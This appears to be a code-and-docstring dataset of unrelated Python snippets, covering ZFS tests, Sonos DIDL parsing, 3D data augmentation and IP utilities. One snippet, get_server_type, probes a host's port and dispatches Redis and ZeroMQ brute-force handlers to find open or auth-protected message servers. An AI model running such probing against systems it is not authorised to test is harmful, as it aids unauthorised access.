zfs.create('{:s}/sub3/abc_abc'.format(fs0.name))\n zfs.create('{:s}/sub3/efg'.format(fs0.name))\n fs0.snapshot('snap', recursive=True)\n send_config(config)\n\n fs0_children = set([child.name.replace(fs0.name, '') for child in zfs.find(fs0.name, types=['all'])[1:]])\n fs1_children = set([child.name.replace(fs1.name, '') for child in zfs.find(fs1.name, types=['all'])[1:]])\n\n assert set(fs0_children) == set(fs1_children)", "nl": "Checks if exclude rules workfs0, fs1 = zpoolsfs0.destroy(force=True)fs1.destroy(force=True)exclude = ['*/sub1', '*/sub3/abc', '*/sub3/efg']config = [{'name': fs0.name, 'dest': [fs1.name], 'exclude': [exclude]}]zfs.create('{:s}/sub1'.format(fs0.name))zfs.create('{:s}/sub2'.format(fs0.name))zfs.create('{:s}/sub3'.format(fs0.name))zfs.create('{:s}/sub3/abc'.format(fs0.name))zfs.create('{:s}/sub3/abc_abc'.format(fs0.name))zfs.create('{:s}/sub3/efg'.format(fs0.name))fs0.snapshot('snap', recursive=True)send_config(config)fs0_children = set([child.name.replace(fs0.name, '') for child in zfs.find(fs0.name, types=['all'])[1:]])fs1_children = set([child.name.replace(fs1.name, '') for child in zfs.find(fs1.name, types=['all'])[1:]])# remove unwanted datasets/snapshotsfor match in exclude:fs0_children -= set(fnmatch.filter(fs0_children, match))fs0_children -= set(fnmatch.filter(fs0_children, match + '@snap'))assert set(fs0_children) == set(fs1_children)@pytest.mark.dependency()def test_send_raw(self, zpools):Checks if raw_send works"} {"code": "def modelparallel(model):\n if isinstance(model, OrderedDict):\n print('The model is a OrderedDict')\n elif isinstance(model, torch.nn.Module):\n print('The model is a nn.Module')\n else:\n raise Exception('Not support the model')\n", "nl": "To make the model parallel"} {"code": "def set_host(self, host):\n self.host = host\n", "nl": "Sets the HOST name:param host: host name:type: ```basestring```"} {"code": "def test_condition_template_block_bot_name_child_val_child(self):\n ast = self._graph.parse_template_expression(template)\n self.assertIsNotNone(ast)\n self.assertIsInstance(ast, TemplateNode)\n self.assertIsNotNone(ast.children)\n\n template_node = ast.children[0]\n self.assertIsNotNone(template_node)\n self.assertIsInstance(template_node, TemplateConditionNode)\n\n self.assertEqual(template_node.name.children[0].word, \"aname\")\n self.assertIsInstance(template_node.value, TemplateNode)\n self.assertFalse(template_node.loop)\n self.assertEqual(template_node.var_type, TemplateConditionVariable.BOT)\n self.assertEqual(len(template_node.children), 1)\n", "nl": "template = ET.fromstring()"} {"code": "def didl_class_to_soco_class(didl_class):\n if not didl_class.startswith(\"object.\"):\n raise DIDLMetadataError(\"Unknown UPnP class: %s\" % didl_class)\n\n parts = didl_class.split(\".\")\n if parts[-1] == \"sonos-favorite\" and len(parts) >= 2:\n return \"Didl\" + first_cap(parts[-2]) + \"Favorite\"\n\n search_parts = parts[:]\n new_parts = []\n while search_parts:\n new_parts.append(search_parts[-1])\n search_parts = search_parts[:-1]\n search_class = \".\".join(search_parts)\n if search_class in _OFFICIAL_CLASSES:\n break\n\n if new_parts[0].endswith(\"list\"):\n new_parts[0] = new_parts[0].replace(\"list\", \"List\")\n new_parts = reversed(new_parts)\n\n return \"Didl\" + \"\".join(first_cap(s) for s in new_parts)\n\n\n\n\nclass DidlResource:\n\n \"\"\"Identifies a resource, typically some type of a binary asset, such as a\n\n", "nl": "Translate a DIDL-Lite class to the corresponding SoCo data structures class# Certain music services have been observed to sub-class via a .# or # syntax.# We simply remove these subclasses.for separator in (\".#\", \"#\"):if separator in didl_class:didl_class = didl_class[: didl_class.find(separator)]try:cls = _DIDL_CLASS_TO_CLASS[didl_class]except KeyError:# Unknown class, automatically create subclassnew_class_name = form_name(didl_class)base_class = didl_class_to_soco_class(\".\".join(didl_class.split(\".\")[:-1]))cls = type(new_class_name,(base_class,),{\"item_class\": didl_class,__doc__: \"Class that represents a {}\".format(didl_class),},)_DIDL_CLASS_TO_CLASS[didl_class] = clsreturn cls_OFFICIAL_CLASSES = {\"object\",\"object.item\",\"object.item.audioItem\",\"object.item.audioItem.musicTrack\",\"object.item.audioItem.audioBroadcast\",\"object.item.audioItem.audioBook\",\"object.container\",\"object.container.person\",\"object.container.person.musicArtist\",\"object.container.playlistContainer\",\"object.container.album\",\"object.container.musicAlbum\",\"object.container.genre\",\"object.container.musicGenre\",}def form_name(didl_class):Return an improvised name for vendor extended classes"} {"code": "def timeGenerator():\n metricName = \"testMinMaxExplicitMin.%i\" % int(time.time())\n LOGGER.info(\"Running test with metric name: %s\", metricName)\n\n self.addCleanup(self._deleteMetric, metricName)\n\n sock = socket.socket()\n sock.connect((\"localhost\", self.plaintextPort))\n sock.sendall(\"%s 5000.0 1386201600\\n\" % metricName)\n sock.sendall(\"%s 6000.0 1386288000\\n\" % metricName)\n sock.sendall(\"%s 7000.0 1386374400\\n\" % metricName)\n self.gracefullyCloseSocket(sock)\n\n uid = self.checkMetricCreated(metricName)\n\n LOGGER.info(\"Metric %s has uid: %s\", metricName, uid)\n\n nativeMetric = {\"datasource\": \"custom\",\n \"metricSpec\": {\"uid\": uid},\n \"modelParams\": {\"min\": 5000.0}}\n\n with self.assertRaises(ValueError) as err:\n self._createModel(nativeMetric)\n\n self.assertIn(\"min and max params must both be None or non-None\",\n str(err.exception))\n\n self.checkMetricUnmonitoredById(uid)\n\n", "nl": "Generator for unix timestamps.backoff = datetime.timedelta(minutes=5 * (totalRowsToSend + 1))dt = datetime.datetime.utcnow() - backofftd = datetime.timedelta(minutes=5)while True:dt += tdyield int(calendar.timegm(dt.utctimetuple()))nextTime = timeGenerator()# Add custom metric datasock = socket.socket()sock.connect((\"localhost\", self.plaintextPort))sock.sendall(\"%s 0.0 %i\\n\" % (metricName, nextTime.next()))self.gracefullyCloseSocket(sock)uid = self.checkMetricCreated(metricName)LOGGER.info(\"Metric %s has uid: %s\", metricName, uid)# Send model creation requestnativeMetric = {\"datasource\": \"custom\",\"metricSpec\": {\"uid\": uid}}model = self._createModel(nativeMetric)self.assertEqual(model.status, MetricStatus.PENDING_DATA)# Add more datasock = socket.socket()sock.connect((\"localhost\", self.plaintextPort))for _ in xrange(totalRowsToSend - 1):sock.sendall(\"%s 7000.0 %i\\n\" % (metricName, nextTime.next()))self.gracefullyCloseSocket(sock)for _ in xrange(60):with self.engine.begin() as conn:metric = repository.getMetric(conn, uid)if metric.status == MetricStatus.ACTIVE:breakLOGGER.info(\"Model=%s not ready. Sleeping 5 seconds...\")time.sleep(5)else:self.fail(\"Model results not available within 5 minutes\")# Check that the data all got processedself.checkModelResultsSize(uid, totalRowsToSend)def testMinMaxExplicitMin(self):Tests that max is required if min is specified."} {"code": "def _load_config_values(self, initkwargs, **defaults):", "nl": "Set on self some config values possibly taken from __init__, orattributes on self.__class__, or some default."} {"code": "def RemoveEmptySections(self):\n for section in self.sections():\n if not self.GetOptionList(section):\n self.remove_section(section)\n", "nl": "remove any sections that have no options"} {"code": "def test_random_symplectic_symplectic(self, modes, hbar, passive, tol, block_diag):\n S = utils.random_symplectic(modes, passive=True, block_diag=block_diag)\n assert np.allclose(S @ S.T, np.identity(2 * modes), atol=tol, rtol=0)\n\n @pytest.mark.parametrize(\"block_diag\", [True, False])", "nl": "Test that a random symplectic matrix is symplecticS = utils.random_symplectic(modes, passive=passive, block_diag=block_diag)idm = np.identity(modes)omega = np.concatenate((np.concatenate((0 * idm, idm), axis=1), np.concatenate((-idm, 0 * idm), axis=1)),axis=0,)assert np.allclose(S @ omega @ S.T, omega, atol=tol, rtol=0)@pytest.mark.parametrize(\"block_diag\", [True, False])def test_random_symplectic_passive_orthogonal(self, modes, hbar, tol, block_diag):Test that a passive random symplectic matrix is orthogonal"} {"code": "def yay(self, *a, **kw):\n self.yays += 1\n self.yayArgs.append((a, kw))\n return self.yays\n\n\n\n@implementer(IProxiedSubInterface)\nclass Booable(object):\n \"\"\"\n yayed = False\n booed = False", "nl": "Increment C{self.yays}."} {"code": "def data_augmentation(self, aug_pts_rect, aug_gt_boxes3d, gt_alpha, sample_id=None, mustaug=False, stage=1):\n aug_list = cfg.AUG_METHOD_LIST\n aug_enable = 1 - np.random.rand(3)\n if mustaug is True:\n aug_enable[0] = -1\n aug_enable[1] = -1\n aug_method = []\n if 'rotation' in aug_list and aug_enable[0] < cfg.AUG_METHOD_PROB[0]:\n angle = np.random.uniform(-np.pi / cfg.AUG_ROT_RANGE, np.pi / cfg.AUG_ROT_RANGE)\n aug_pts_rect = kitti_utils.rotate_pc_along_y(aug_pts_rect, rot_angle=angle)\n if stage == 1:\n aug_gt_boxes3d = kitti_utils.rotate_pc_along_y(aug_gt_boxes3d, rot_angle=angle)\n\n x, z = aug_gt_boxes3d[:, 0], aug_gt_boxes3d[:, 2]\n beta = np.arctan2(z, x)\n new_ry = np.sign(beta) * np.pi / 2 + gt_alpha - beta\n aug_gt_boxes3d[:, 6] = new_ry\n elif stage == 2:\n assert aug_gt_boxes3d.shape[0] == 2\n aug_gt_boxes3d[0] = self.rotate_box3d_along_y(aug_gt_boxes3d[0], angle)\n aug_gt_boxes3d[1] = self.rotate_box3d_along_y(aug_gt_boxes3d[1], angle)\n else:\n raise NotImplementedError\n\n aug_method.append(['rotation', angle])\n\n if 'scaling' in aug_list and aug_enable[1] < cfg.AUG_METHOD_PROB[1]:\n scale = np.random.uniform(cfg.SCALE_MIN_MAX_RANGE[0], cfg.SCALE_MIN_MAX_RANGE[1])\n aug_pts_rect = aug_pts_rect * scale\n aug_gt_boxes3d[:, 0:6] = aug_gt_boxes3d[:, 0:6] * scale\n aug_method.append(['scaling', scale])\n\n if 'flip' in aug_list and aug_enable[2] < cfg.AUG_METHOD_PROB[2]:\n aug_pts_rect[:, 0] = -aug_pts_rect[:, 0]\n aug_gt_boxes3d[:, 0] = -aug_gt_boxes3d[:, 0]\n if stage == 1:\n aug_gt_boxes3d[:, 6] = np.sign(aug_gt_boxes3d[:, 6]) * np.pi - aug_gt_boxes3d[:, 6]\n elif stage == 2:\n assert aug_gt_boxes3d.shape[0] == 2\n aug_gt_boxes3d[0, 6] = np.sign(aug_gt_boxes3d[0, 6]) * np.pi - aug_gt_boxes3d[0, 6]\n aug_gt_boxes3d[1, 6] = np.sign(aug_gt_boxes3d[1, 6]) * np.pi - aug_gt_boxes3d[1, 6]\n else:\n raise NotImplementedError\n\n aug_method.append('flip')\n\n return aug_pts_rect, aug_gt_boxes3d, aug_method\n", "nl": ":param aug_pts_rect: (N, 3):param aug_gt_boxes3d: (N, 7):param gt_alpha: (N):return:"} {"code": "def add_stderr_logger(level=logging.DEBUG):\n logger = logging.getLogger(__name__)\n handler = logging.StreamHandler()\n handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s %(message)s'))\n logger.addHandler(handler)\n logger.setLevel(level)\n logger.debug('Added a stderr logging handler to logger: %s', __name__)\n return handler\n\n\ndel NullHandler\n\n", "nl": "Helper for quickly adding a StreamHandler to the logger. Useful fordebugging.Returns the handler after adding it."} {"code": "def render_git_describe_long(pieces):\n if pieces[\"closest-tag\"]:\n rendered = pieces[\"closest-tag\"]\n rendered += \"-%%d-g%%s\" %% (pieces[\"distance\"], pieces[\"short\"])\n else:\n rendered = pieces[\"short\"]\n if pieces[\"dirty\"]:\n rendered += \"-dirty\"\n return rendered\n\n", "nl": "TAG-DISTANCE-gHEX[-dirty].Like 'git describe --tags --dirty --always -long'.The distance/hash is unconditional.Exceptions:1: no tags. HEX[-dirty] (note: no 'g' prefix)"} {"code": "def join(group):\n", "nl": "Attempt to join the given group.@type group: L{IGroup}@rtype: L{twisted.internet.defer.Deferred}"} {"code": "def tags_changed(self, tags):\n pass", "nl": "Called whenever the current audio stream's tags change.This event signals that some track metadata has been updated. This canbe metadata such as artists, titles, organization, or details about theactual audio such as bit-rates, numbers of channels etc.For the available tag keys please refer to GStreamer documentation fortags.*MAY* be implemented by actor.:param tags: The tags that have just been updated.:type tags: :class:`set` of strings"} {"code": "def _check_maddr(maddr: str) -> None:\n", "nl": "Check multiaddress.if maddr == \"\":returnparts = maddr.split(\"/\")if len(parts) != 7:raise ValueError(\"Malformed multiaddress '{}'\".format(maddr))multihashdecode(b58decode(parts[-1]))class AcnNodeStandalone:Deploy an acn node in standalone mode."} {"code": "def WriteKeyValuePairs(filename, key_value_pairs):\n\n Args:\n nmap: A NestedMap of data to serialize.\n\n Returns:\n A serialized record_pb2.Record() of the contents of `nmap`.\n \"\"\"", "nl": "Writes `key_value_pairs` to `filename`.with open(filename, 'wb') as f:pickle.dump(key_value_pairs, f, protocol=pickle.HIGHEST_PROTOCOL)def SerializeOutputs(nmap: py_utils.NestedMap) -> bytes:Return a serialized representation of the contents of `nmap`."} {"code": "def _duplicate_spn(self, name):\n self.conn.search(\n search_base=self.gmsa_search_base,\n search_filter='(&(servicePrincipalName={}))'.format(name),\n attributes=['servicePrincipalName']\n )\n\n if not _check_ldap3_operation(self.conn):\n raise RuntimeError(self.conn.result['description'])\n\n for res in self.conn.response:\n if res['type'] == 'searchResEntry':\n return True\n\n return False\n", "nl": "Check if spn is already registered in another GMSA"} {"code": "def make_context(self, info_name, args, parent=None, **extra):\n for key, value in iteritems(self.context_settings):\n if key not in extra:\n extra[key] = value\n ctx = Context(self, info_name=info_name, parent=parent, **extra)\n with ctx.scope(cleanup=False):\n self.parse_args(ctx, args)\n return ctx\n", "nl": "This function when given an info name and arguments will kickoff the parsing and create a new :class:`Context`. It does notinvoke the actual command callback though.:param info_name: the info name for this invokation. Generally thisis the most descriptive name for the script orcommand. For the toplevel script it's usuallythe name of the script, for commands below it it'sthe name of the script.:param args: the arguments to parse as list of strings.:param parent: the parent context if available.:param extra: extra keyword arguments forwarded to the contextconstructor."} {"code": "def __init__(self, data: VolkswagenData, vin: str, component: str, attribute: str, callback=None):\n return \"departure_timer\"\n\n @property", "nl": "Initialize class.super().__init__(data, vin, component, attribute, callback)_LOGGER.debug(\"Departure Timer initialized\")@propertydef device_class(self) -> str:Return custom device class."} {"code": "def place_module(self, module_name):\n return self.finder.find(module_name)\n", "nl": "Tries to determine if a module is a python std import, third party import, or project code:if it can't determine - it assumes it is project code"} {"code": "def test_yes(self):\n self.filter.add(self.query, {'param': 'no'})\n self.query.assert_has_calls([mock.call.filter('field', True)])\n\n\nclass BooleanTest(unittest.TestCase):\n \"\"\"Test Boolean.\"\"\"", "nl": "Test yes.self.filter.add(self.query, {'param': 'yes'})self.query.assert_has_calls([mock.call.filter('field', False)])def test_no(self):Test no."} {"code": "def test_SanityCheck(self):\n event = bb.event.SanityCheckPassed()\n self.assertEqual(event.pid, EventClassesTest._worker_pid)\n", "nl": " Test SanityCheck class event1 = bb.event.SanityCheck()self.assertEqual(event1.generateevents, True)self.assertEqual(event1.pid, EventClassesTest._worker_pid)generateevents = Falseevent2 = bb.event.SanityCheck(generateevents)self.assertEqual(event2.generateevents, generateevents)self.assertEqual(event2.pid, EventClassesTest._worker_pid)def test_SanityCheckPassed(self): Test SanityCheckPassed class "} {"code": "def get_match(self):\n return self._match\n", "nl": "Match getter.Returns:The return value is the `_match` attribute."} {"code": "def TemperatureEffectiveness(NTU, R, flujo, **kwargs):\n\n if flujo == \"PF\":\n if R == 1:\n ep = NTU/(1+NTU)\n else:\n ep = (1-exp(-NTU*(1-R)))/(1-R*exp(-NTU*(1-R)))\n\n elif flujo == \"CF\":\n if R == 1:\n ep = (1-exp(-2*NTU))/2.\n else:\n ep = (1-exp(-NTU*(1+R)))/(1+R)\n\n elif flujo == \"CrFunMix\":\n ep = 1-exp(NTU**0.22/R*(exp(-R*NTU**0.78)-1))", "nl": "Calculo de la temperatura efectividad del cambiadorFlujo vendra definido por su acronimoCF: Counter flowPF: Parallel flowCrFMix: Crossflow, both fluids mixedCrFSMix: Crossflow, one fluid mixed, other unmixedCrFunMix: Crossflow, both fluids unmixed1-2TEMAE: 1-2 TEMA E1-2TEMAE2: 1-2 TEMA E, shell fluid flow divided1-3TEMAE: 1-3 TEMA E1-4TEMAE: 1-4 TEMA E1-1TEMAG: 1-1 TEMA G1-2TEMAG: 1-2 TEMA G1-1TEMAH: 1-1 TEMA H1-2TEMAH: 1-2 TEMA H1-1TEMAJ: 1-1 TEMA J1-2TEMAJ: 1-2 TEMA J1-4TEMAJ: 1-4 TEMA Jkwargs: Opciones adicionales:mixed: corriente mezclada para CrFSMix1, 2"} {"code": "def _neighbor_match(self, input_elem, output_elem):\n raise NotImplementedError()\n\n\nclass NearToken(DistanceToken):\n \"\"\"Executes on a token that produces an ElementSet to produce another", "nl": "Defines if output_elem \\in Token(input_elem)Args:input_elem (DOMElement)output_elem (DOMElement)Returns:bool: True if output_elem \\in Token(input_elem)"} {"code": "def update_data(self, data: dict):\n return attr.asdict(self)", "nl": "Update data of the repository.for key in data:if key in self.__dict__:setattr(self, key, data[key])def to_json(self):Return a JSON representation of the data."} {"code": "def check_package(self, package, package_dir):\n files = list(files)\n patterns = self._get_platform_patterns(\n self.exclude_package_data,\n package,\n src_dir,\n )\n match_groups = (\n fnmatch.filter(files, pattern)\n for pattern in patterns\n )\n matches = itertools.chain.from_iterable(match_groups)\n bad = set(matches)\n keepers = (\n fn\n for fn in files\n if fn not in bad\n )\n return list(_unique_everseen(keepers))\n\n @staticmethod", "nl": "Check namespace packages' __init__ for declare_namespacetry:return self.packages_checked[package]except KeyError:passinit_py = orig.build_py.check_package(self, package, package_dir)self.packages_checked[package] = init_pyif not init_py or not self.distribution.namespace_packages:return init_pyfor pkg in self.distribution.namespace_packages:if pkg == package or pkg.startswith(package + '.'):breakelse:return init_pywith io.open(init_py, 'rb') as f:contents = f.read()if b'declare_namespace' not in contents:raise distutils.errors.DistutilsError(\"Namespace package problem: %s is a namespace package, but \"\"its\\n__init__.py does not call declare_namespace()! Please \"'fix it.\\n(See the setuptools manual under ''\"Namespace Packages\" for details.)\\n\"' % (package,))return init_pydef initialize_options(self):self.packages_checked = {}orig.build_py.initialize_options(self)def get_package_dir(self, package):res = orig.build_py.get_package_dir(self, package)if self.distribution.src_root is not None:return os.path.join(self.distribution.src_root, res)return resdef exclude_data_files(self, package, src_dir, files):Filter filenames for package's data files in 'src_dir'"} {"code": "def main():\n\n notebooks = get_all_notebook_files()\n for notebook in notebooks:\n remove_pixelserver_from_notebook(notebook)\n\n\nif __name__ == \"__main__\":\n main()", "nl": "Remove pixelserver from all example notebooks."} {"code": "def write_sources_to_directory(self, directory: Path) -> int:\n directory = Path(directory)\n directory.mkdir(exist_ok=True, parents=True)\n uniq_paths = set()\n for filename, contents in self.sources:\n path = directory / filename\n uniq_paths.add(path)\n path.parent.mkdir(exist_ok=True, parents=True)\n with open(path, \"wb\") as f:\n f.write(contents)\n\n return len(uniq_paths)\n\n @classmethod", "nl": "Write the source files for this benchmark to the given directory.This writes each of the :attr:`benchmark.sources` files to disk.If the benchmark has no sources, no files are written.:param directory: The directory to write results to. If it does notexist, it is created.:return: The number of files written."} {"code": "def entropy_based(self, prob_dist):\n log_probs = prob_dist * torch.log2(prob_dist)\n raw_entropy = 0 - torch.sum(log_probs)\n\n normalized_entropy = raw_entropy / math.log2(prob_dist.numel())\n\n return normalized_entropy.item()\n\n\n", "nl": "Returns the uncertainty score of a probability distribution usingentropyAssumes probability distribution is a pytorch tensor, like:tensor([0.0321, 0.6439, 0.0871, 0.2369])Keyword arguments:prob_dist -- a pytorch tensor of real numbers between 0 and 1 that total to 1.0sorted -- if the probability distribution is pre-sorted from largest to smallest"} {"code": "def collapse_addresses(addresses):\n addrs = []\n ips = []\n nets = []\n\n for ip in addresses:\n if isinstance(ip, _BaseAddress):\n if ips and ips[-1]._version != ip._version:\n raise TypeError(\"%s and %s are not of the same version\" % (\n ip, ips[-1]))\n ips.append(ip)\n elif ip._prefixlen == ip._max_prefixlen:\n if ips and ips[-1]._version != ip._version:\n raise TypeError(\"%s and %s are not of the same version\" % (\n ip, ips[-1]))\n try:\n ips.append(ip.ip)\n except AttributeError:\n ips.append(ip.network_address)\n else:\n if nets and nets[-1]._version != ip._version:\n raise TypeError(\"%s and %s are not of the same version\" % (\n ip, nets[-1]))\n nets.append(ip)\n\n ips = sorted(set(ips))\n\n if ips:\n for first, last in _find_address_range(ips):\n addrs.extend(summarize_address_range(first, last))\n\n return _collapse_addresses_internal(addrs + nets)\n\n", "nl": "Collapse a list of IP objects.Example:collapse_addresses([IPv4Network('192.0.2.0/25'),IPv4Network('192.0.2.128/25')]) ->[IPv4Network('192.0.2.0/24')]Args:addresses: An iterator of IPv4Network or IPv6Network objects.Returns:An iterator of the collapsed IPv(4|6)Network objects.Raises:TypeError: If passed a list of mixed version objects."} {"code": "def probe_wemo(host):\n for port in PROBE_PORTS:\n try:\n r = requests.get('http://%s:%i/setup.xml' % (host, port),\n timeout=10)\n if ('WeMo' in r.text) or ('Belkin' in r.text):\n return port\n except ConnectTimeout:\n log.debug('Timed out connecting to %s on port %i, '\n 'wemo is offline', host, port)\n break\n except Timeout:\n log.debug('No response from %s on port %i, continuing',\n host, port)\n continue\n except ConnectionError:\n pass\n return None\n\n\nclass UnknownService(Exception):\n pass\n\n\nclass Device(object):", "nl": "Probe a host for the current port.This probes a host for known-to-be-possible ports andreturns the one currently in use. If no port is discoveredthen it returns None."} {"code": "def test_special(self):\n api = self.api\n ret = api.timeline.area(country=1, province=44, city=3)\n assert len(ret) == 20\n assert type(ret[0]) == models.Tweet\n assert int(ret[0].countrycode) == 1\n assert int(ret[0].provincecode) == 44\n assert int(ret[0].citycode) == 3\n\n ret = api.timeline.area(country=1, province=44, city=3, reqnum=110)\n assert len(ret) == 100\n\n num = randint(1, 100)\n ret = api.timeline.area(country=1, province=44, city=3, reqnum=num)\n assert len(ret) == num\n", "nl": "api.timeline.specialapi = self.apiret = api.timeline.special()assert 1 <= len(ret) <= 20, 'You should add special listen ' \\'friends to pass this test'assert type(ret[0]) == models.Tweetret = api.timeline.special(reqnum=110)assert len(ret) == 70num = randint(1, 70)ret = api.timeline.special(reqnum=num)assert len(ret) == numdef test_area(self):api.timeline.area"} {"code": "def is_full(self):\n balls = self.config['balls_to_hold'] - self.balls_held\n if balls < 0:\n balls = 0\n return balls\n", "nl": "Return true if hold is full.return self.remaining_space_in_hold() == 0def remaining_space_in_hold(self):Return the remaining capacity of the hold."} {"code": "def get_server_type(config):\n\thandlers = {\n\t\t'Redis': brute_redis,\n\t\t'RabbitMQ': is_rabbit,\n\t\t'ZeroMQ': brute_zmq\n\t}\n\n\thost = config.target\n\tport = config.port\n\tuser = config.user\n\tpassword = None\n\tresult = -1\n\n\tlog.warning(\" > Analyzing host '%s' with port '%s' \" % (host, port))\n\n\ttry:\n\n\t\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\ts.settimeout(config.timeout)\n\n\t\tresult = s.connect_ex((host, int(port)))\n\n\texcept socket.gaierror as e:\n\t\tlog.debug(\"%s error: %s\" % (port, e))\n\tfinally:\n\t\ts.close()\n\n\tif result == 0:\n\t\tlog.info(\" Port '%s' is open in '%s'\" % (port, host))\n\n\t\tfor server_type, handle in six.iteritems(handlers):\n\n\t\t\ttry:\n\t\t\t\tif handle(host, port, user, password, config) is True:\n\t\t\t\t\treturn server_type, \"open\", port\n\n\t\t\texcept AuthRequired:\n\t\t\t\treturn server_type, \"auth\", port\n\telse:\n\t\treturn None, \"closed\", port", "nl": "Get server type and if it's open or closed.Returns server type and their status as format: (TYPE, STATUS, port), where:- TYPE: redis/zeromq/amqp- STATUS: open/closed/auth:return: type of server as format: (type, status, port):rtype: (str, str, int)"} {"code": "def __init__(self, omit_fname: bool = False) -> None:\n self._omit_fname = omit_fname\n", "nl": "Initialize Davidson instance.Parameters----------omit_fname : boolSet to True to completely omit the first character of the firstname.. versionadded:: 0.4.0"} {"code": "def add(self, key, value):\n self.multi.add(self._encode_key(key), self._encode_value(value))\n", "nl": "Add the key and value, not overwriting any previous value."} {"code": "def __call__(self, input_ids: torch.LongTensor, scores: torch.FloatTensor) -> torch.FloatTensor:\n This class can be used to create a list of :class:`~transformers.LogitsProcessor` or\n :class:`~transformers.LogitsWarper` to subsequently process a :obj:`scores` input tensor. This class inherits from\n list and adds a specific `__call__` method to apply each :class:`~transformers.LogitsProcessor` or\n :class:`~transformers.LogitsWarper` to the inputs.\n \"\"\"", "nl": "Torch method for warping logits.raise NotImplementedError(f\"{self.__class__} is an abstract class. Only classes inheriting this class can be called.\")class LogitsProcessorList(list):"} {"code": "def sim(self, *args: Any, **kwargs: Any) -> NoReturn:\n raise NotImplementedError(\n 'Method disabled for Sokal & Sneath III similarity.'\n )\n", "nl": "Raise exception when called.Parameters----------*argsVariable length argument list**kwargsArbitrary keyword argumentsRaises------NotImplementedErrorMethod disabled for Sokal & Sneath III similarity... versionadded:: 0.3.6"} {"code": "def GenerateContainerInstanceTemplate(context):\n resources = GenerateContainerInstanceTemplate(context)\n resources += common.AddDiskResourcesIfNeeded(context)\n return resources\n\n\n@common.FormatErrorsDec", "nl": "Generate a comute InstanceTemplate ready with a container image.# This should modify the context propertiescontainer_instance.GenerateContainerInstance(context)return vm_instance_template.GenerateComputeVMTemplate(context)def GenerateResourceList(context):Returns list of resources generated by this module."} {"code": "def test_uidFromUsernameString(self):\n pwent = pwd.getpwuid(os.getuid())\n self.assertEqual(util.uidFromString(pwent.pw_name), pwent.pw_uid)\n if pwd is None:\n test_uidFromUsernameString.skip = (\n \"Username/UID conversion requires the pwd module.\")\n\n", "nl": "When L{uidFromString} is called with a base-ten string representationof an integer, it returns the integer."} {"code": "def __new__(cls, *args, **kwargs):\n\n if len(args) == 0:\n return super(newlist, cls).__new__(cls)\n elif type(args[0]) == newlist:\n value = args[0]\n else:\n value = args[0]\n return super(newlist, cls).__new__(cls, value)\n", "nl": "list() -> new empty listlist(iterable) -> new list initialized from iterable's items"} {"code": "def samestat(s1, s2):\n if islink(path):\n return False\n try:\n s1 = os.lstat(path)\n s2 = os.lstat(realpath(join(path, '..')))\n except os.error:\n return False\n dev1 = s1.st_dev\n dev2 = s2.st_dev\n if dev1 != dev2:\n return True\n ino1 = s1.st_ino\n ino2 = s2.st_ino\n if ino1 == ino2:\n return True\n return False\n\n\n", "nl": "Test whether two stat buffers reference the same filereturn s1.st_ino == s2.st_ino and \\s1.st_dev == s2.st_dev# Is a path a mount point?# (Does this work for all UNIXes? Is it even guaranteed to work by Posix?)def ismount(path):Test whether a path is a mount point"} {"code": "def get_test_report(self,prefix=''):\n cli = self._clients[self._cur_name]\n tasks = cli['tasks']\n results = cli['results']\n\n tasks.put([\"ixload::get_test_report\",prefix])\n tasks.join()\n _check_result(results,'ixload::get_test_report')\n BuiltIn().log(\"Copied report files to local result folder\")\n", "nl": " Get the test report(PDF) and put it into the active result folder"} {"code": "def measure_fock(self, modes, shots=1, select=None, **kwargs):\n if shots != 1:\n raise NotImplementedError(\n \"TF backend currently does not support \" \"shots != 1 for Fock measurement\"\n )\n with tf.name_scope(\"Measure_fock\"):\n remapped_modes = self._remap_modes(modes)\n meas = self.circuit.measure_fock(remapped_modes, select=select, **kwargs)\n return meas\n", "nl": "Measure the given modes in the Fock basis.See :meth:`.BaseFock.measure_fock`.Keyword Args:Returns:tuple[int] or tuple[Tensor]: measurement outcomes"} {"code": "def get_rgb(self, idx):\n return yield_velo_scans(self.velo_files)\n", "nl": "Read RGB stereo pair at the specified index.return (self.get_cam2(idx), self.get_cam3(idx))@propertydef velo(self):Generator to read velodyne [x,y,z,reflectance] scan data from binary files."} {"code": "def setContentHandler(self, handler):\n return self._dtd_handler\n", "nl": "Registers a new object to receive document content events.self._cont_handler = handlerdef getDTDHandler(self):Returns the current DTD handler."} {"code": "def config_new(self, module, new_config):\n if module.params[\"lock\"] and not module.check_mode:\n self.config_lock(module)\n\n if not module.check_mode:\n response = self.add_config(new_config)\n self.config_response(module, response.json(), module.params[\"lock\"])\n\n return {\"method\": \"add\", \"params\": [{\"url\": self.obj_url, \"data\": new_config}]}\n", "nl": "This method is used to handle the logic for Ansible modules when the \"state\" is set to \"present\" and their isnot currently an object of the same type with the same name. The config_lock is used to lock the configurationif the lock param is set to True. The config_response method is used to handle the logic from the response tocreate the object.:param module: The Ansible Module instance started by the task.:param new_config: Type dict.The config dictionary with the objects configuration to send to the FortiManager API. Thiscorresponds to the \"data\" portion of the request body.:return: A dictionary that corresponds to the configuration that was sent in the request body to theFortiManager API. This dict will map to the \"config\" key returned by the Ansible Module."} {"code": "def hotplug_qmp(self):\n raise NotImplementedError\n", "nl": " :return: hotplug command and argsreturn \"chardev-add\", self.get_qmp_args()def hotplug_hmp(self): :return: the hotplug monitor command "} {"code": "def run_model(yaml_exp):\n wdp = YAMLWeatherDataProvider(yaml_exp[\"WeatherVariables\"])\n params = ParameterProvider(cropdata=yaml_exp[\"ModelParameters\"])\n agro = yaml_exp[\"Agromanagement\"]\n\n module = importlib.import_module(yaml_exp[\"Model\"][\"module\"])\n model_class = getattr(module, yaml_exp[\"Model\"][\"model\"])\n\n model = model_class(params, wdp, agro)\n model.run_till_terminate()\n\n df = pd.DataFrame(model.get_output())\n df = df.set_index(\"day\")\n df_summary = pd.DataFrame(model.get_summary_output())\n\n return df, df_summary\n\n", "nl": "Runs the model for given experiment and returns the simulation results."} {"code": "def deserialize(filename, cache=None):\n with np.load(filename) as npz:\n model = TauModel(s_mod=None,\n radius_of_planet=float(npz[\"radius_of_planet\"]),\n cache=cache, skip_calc=True)\n complex_contents = [\n 'tau_branches', 's_mod', 'v_mod',\n 's_mod.p_layers', 's_mod.s_layers', 's_mod.critical_depths',\n 's_mod.fluid_layer_depths',\n 's_mod.high_slowness_layer_depths_p',\n 's_mod.high_slowness_layer_depths_s', 'v_mod.layers']\n\n for key in npz.keys():\n if key in complex_contents or key.startswith('tau_branches'):\n continue\n arr = npz[key]\n if arr.ndim == 0:\n arr = arr[()]\n setattr(model, key, 